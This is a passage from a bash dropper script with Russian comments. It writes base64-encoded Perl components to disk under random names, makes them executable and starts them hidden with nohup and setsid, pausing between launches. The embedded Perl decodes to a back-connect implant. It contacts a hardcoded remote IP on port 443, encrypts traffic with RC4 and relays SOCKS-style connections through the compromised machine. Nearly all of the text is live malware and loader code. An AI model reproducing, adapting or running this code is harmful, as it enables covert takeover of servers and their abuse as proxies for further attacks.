CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #61 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #61 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 62 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNTYnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg 